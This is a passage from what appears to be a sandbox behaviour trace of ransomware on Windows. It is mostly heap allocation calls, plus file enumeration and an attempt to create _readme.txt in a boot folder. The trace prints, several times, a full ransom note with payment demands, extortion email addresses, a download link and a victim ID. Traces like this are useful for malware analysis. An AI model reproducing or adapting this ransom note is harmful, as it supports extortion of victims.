HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.219] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.219] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.219] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.219] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.219] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.219] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0117.219] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.219] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.219] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.219] PathFindFileNameW (pszPath="") returned="" [0117.220] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.220] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.220] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.220] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x61eeac0 [0117.220] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.220] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0117.220] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.220] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.220] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0117.220] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.221] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0117.222] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.222] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.222] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.222] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.222] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.223] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.223] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.223] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.223] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.223] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.223] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.223] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.223] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.223] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.223] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.223] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.223] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.223] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.223] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.223] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.223] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.223] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.223] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.224] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.224] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.224] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.224] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.224] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.224] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.224] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.224] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.224] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.224] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.224] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.224] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.224] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.224] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.224] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.224] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.225] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.225] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.226] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.226] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.227] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.227] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.227] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.227] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.227] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.227] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.227] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.227] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.227] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.227] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.227] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.227] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.227] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.227] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.227] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.227] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.228] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.228] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.228] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.228] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.228] HeapFree (in: hHeap=0x35b0000, 